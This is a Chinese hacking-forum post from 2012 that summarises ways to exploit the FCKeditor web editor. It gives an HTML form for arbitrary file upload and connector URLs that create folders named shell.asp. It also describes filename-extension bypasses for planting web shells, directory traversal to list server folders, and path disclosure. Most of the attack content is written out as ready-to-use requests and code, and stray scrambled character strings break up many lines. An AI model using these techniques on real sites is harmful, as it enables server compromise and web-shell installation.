找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2777|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本, `2 P2 l5 W! f, j' L3 c6 r* _4 `
FCKeditor/_whatsnew.html
; v/ c$ K7 J* h+ _% }—————————————————————————————————————————————————————————————

2. Version 2.2 版本3 y6 D0 F  Z7 w
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
2 N/ G  s9 B' i8 ~% z! A( G—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。6 b' ]) Q) V* E" G
<form id="frmUpload" enctype="multipart/form-data"% [7 |" m. l& k3 l. b
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>/ Q) Y0 O3 [4 {& c
<input type="file" name="NewFile" size="50"><br>
. |5 k/ l! T! ?/ ~, l( a  F<input id="btnUpload" type="submit" value="Upload">
9 G, `1 I8 s% v5 R0 P</form>
7 m# \3 `4 d( F2 E$ a4 Y4 N8 u—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
5 \9 n( U% h" r& n6 N        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
6 J! j: F# B1 W( Q. M5 [    4.1:提交shell.php+空格绕过
* i6 X% v$ n; ^2 s' D& k& G3 q不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
/ S! h& f& U+ X5 B8 }    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
( K+ p  I# O& S) P—————————————————————————————————————————————————————————————

5. 突破建立文件夹, j" S$ f1 l, \, i9 z: Q6 o" y
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684& f0 a0 i5 }2 y6 O$ @  u) T0 T8 b
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp  A0 j) v' E/ n" a4 B
—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址( W; f8 N4 M3 Q  r
FCKeditor/editor/filemanager/browser/default/connectors/test.html
& H( D) D& W7 `. Z  g; \5 {FCKeditor/editor/filemanager/upload/test.html
! D' }" q/ f+ m: e7 mFCKeditor/editor/filemanager/connectors/test.html
+ m" W" g% _% x( f7 M+ e. w/ l( g5 nFCKeditor/editor/filemanager/connectors/uploadtest.html
+ t+ [; L1 \5 F—————————————————————————————————————————————————————————————
3 i  P# r1 t/ V$ x' G

7.常用上传地址
2 l' |$ W) P+ U0 L" R" A: g' BFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' f4 d: Z% Q  {, R: hFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp; t2 L; p1 `# @7 o. i7 ?9 |3 [
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
* |0 Y: Z( _& _JSP 版:
, x; U% G$ q5 a" `. gFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
' m# f4 \. i7 d! P; t0 N% c) ~注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
9 p0 K6 d# u% e7 |件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。  I& ~0 U9 _. w
—————————————————————————————————————————————————————————————

8.其他上传地址  {  l* \! Q0 Q1 K1 X& h' h
FCKeditor/_samples/default.html
: Y: x4 E( l4 O- |) Z" @- [: }FCKeditor/_samples/asp/sample01.asp
" ^1 h6 V( [$ D4 ^( ^* @FCKeditor/_samples/asp/sample02.asp9 s- T. C2 d5 E. e- y' u2 X8 A# x
FCKeditor/_samples/asp/sample03.asp8 h; }* m3 p, d( N+ _
FCKeditor/_samples/asp/sample04.asp, {- z& Y6 L3 k5 a) [) U5 [- ]
一般很多站点都已删除_samples 目录,可以试试。
+ H7 K& @/ R  {5 ^  {0 d2 _- Z+ z; @FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。" r$ ~! u6 o+ ?
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址, f3 W! T4 S( M  |
Version 2.4.1 测试通过
0 S4 ]: J1 [# }3 P& g% a/ P0 X+ Y% i; J修改CurrentFolder 参数使用 ../../来进入不同的目录
! C7 ?; |3 d* B# x" c5 d8 }, p# e! h" v/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
, v2 G, J2 Z( q7 p9 u# j根据返回的XML 信息可以查看网站所有的目录。8 S6 H1 L& g" r4 _
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
. V' J. H& q! }1 |' C6 m* `也可以直接浏览盘符:
) P. f, X8 e0 N. G. zJSP 版本:
1 [# H% l6 E" n- _% h: [FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9 i: G9 V7 n5 q1 g6 H  F—————————————————————————————————————————————————————————————

10.爆路径漏洞# `* g/ j$ U3 [- C
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
2 B5 q+ r. u; O—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题6 I% _8 F8 ~, u% Y
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3' j6 t& w3 X" E! j
脆弱描述:
) a! R7 M8 o+ J: j# ]  G' |FCKeditor v2.4.3 中File 类别默认拒绝上传类型:! S( U: H, x* [1 s. c& V9 s
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm3 h/ }; ]$ N9 w
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
+ D7 @' c) S! T2 }4 [7 y2 ?/ q: W        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
! S* v2 o) i6 S6 X        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表